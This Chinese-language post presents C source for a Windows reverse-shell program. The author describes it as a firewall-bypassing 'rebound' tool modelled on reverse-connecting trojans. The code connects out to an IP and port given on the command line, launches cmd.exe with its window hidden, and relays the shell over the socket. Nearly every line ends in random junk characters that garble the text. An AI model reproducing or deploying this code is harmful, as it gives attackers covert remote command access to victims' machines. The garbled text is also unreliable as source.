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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 MXY[t  
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/* ============================== ^PIU A'  
Rebound port in Windows NT T]d9tX-  
By wind,2006/7 Bk&ry)`gD  
===============================*/ m72r6Yq2@  
#include !|{T>yy  
#include l5ww-#6Z  
(J8 (_MF  
#pragma comment(lib,"wsock32.lib") )Xxu-/-  
\Tf845  
void OutputShell(); won;tO]\;@  
SOCKET sClient; Fyy)665x/  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; !Mp.jE  
X4LU/f<f  
void main(int argc,char **argv) ?sV0T)uk  
{ >%k:+ +b{  
WSADATA stWsaData; ohqi4Y!j/~  
int nRet; T!C39T  
SOCKADDR_IN stSaiClient,stSaiServer; e;9Z/);#s  
2Z 4Ekq0@  
if(argc != 3) 8SII>iL{  
{ ?yop#tjCbY  
printf("Useage:\n\rRebound DestIP DestPort\n"); .6Tan2[%  
return; .$5QM&  
} #?8dInu>  
9~i=Af@  
WSAStartup(MAKEWORD(2,2),&stWsaData); sJ[I<  
;5qZQ8`4  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Mz,G;x}  
WPT0=Hqp7  
stSaiClient.sin_family = AF_INET; +6tj w 6  
stSaiClient.sin_port = htons(0); 7}>7@W8  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 1sgI,5liUs  
*;7~aM  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) P%M Yr"<$E  
{ (Tt\6-  
printf("Bind Socket Failed!\n"); *@`Sx'5!  
return; (/TYET_H  
} 8D3|}z?  
A)"?GK{*  
stSaiServer.sin_family = AF_INET; C;]}Ht:~I  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); J?VMQTa/+  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); E(]39B"i  
S"+X+Oxp7?  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) FFC"rG  
{ nh"8on]M~  
printf("Connect Error!"); BF)!VnJ  
return; 3i\<#{  
} wz[Xay9jW  
OutputShell(); 3+:F2sjt  
} nulLK28q  
dV/ ^@[  
void OutputShell() P|U9f6^3  
{ ^&[Z@*A8#  
char szBuff[1024]; wlC7;u  
SECURITY_ATTRIBUTES stSecurityAttributes; ~;)H |R5kV  
OSVERSIONINFO stOsversionInfo; J_-K"T|f  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; QYB66g:  
STARTUPINFO stStartupInfo; $0[t<4K`yn  
char *szShell; bX*>Zm   
PROCESS_INFORMATION stProcessInformation; bf4QW JZD  
unsigned long lBytesRead; NC @L,)F  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); S:= _o  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ",, W1]"%  
stSecurityAttributes.lpSecurityDescriptor = 0; ny l[d|pVa  
stSecurityAttributes.bInheritHandle = TRUE; P >>VBh?  
?"@`SEdnU2  
; ElwF&"!X  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); *!5X!\e_  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Fo.p}j+>  
8~!9bg6C  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); :P/0"  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DnP "7}v  
stStartupInfo.wShowWindow = SW_HIDE; ;${_eab ]  
stStartupInfo.hStdInput = hReadPipe; ]tsp}M@  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; O[<YYL 0  
N+nv#]{  
GetVersionEx(&stOsversionInfo); U32&"&";c  
o=)["V  
switch(stOsversionInfo.dwPlatformId) )RCva3Ul  
{ Rm&4Pku  
case 1: D/oO@;`'c  
szShell = "command.com"; Ha41Wn'tZ  
break; crlCN  
default: 0J z|BE3Y  
szShell = "cmd.exe"; L (@".{T  
break; ~ !7!Y~(+  
} i5; _  
[~5<['G  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); :8LK}TY7  
g^)8a;/c  
send(sClient,szMsg,77,0); [,TK"  
while(1) :zK\t5  
{ u5I#5  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); XY)I~6$Y  
if(lBytesRead) ZxoAf;U~  
{ @!KG;d:l  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); OhiY <  
send(sClient,szBuff,lBytesRead,0); .vov ,J!Y  
} 8;<3Tyjzu  
else YgR}y+q^6  
{ \F8 :6-  
lBytesRead=recv(sClient,szBuff,1024,0); \H {UJ  
if(lBytesRead<=0) break; #v\o@ArX  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); XJ6=Hg4_O  
} Sej(jJX1  
} /D,<2>o  
,tl(\4n  
return; 9iM[3uyO  
}
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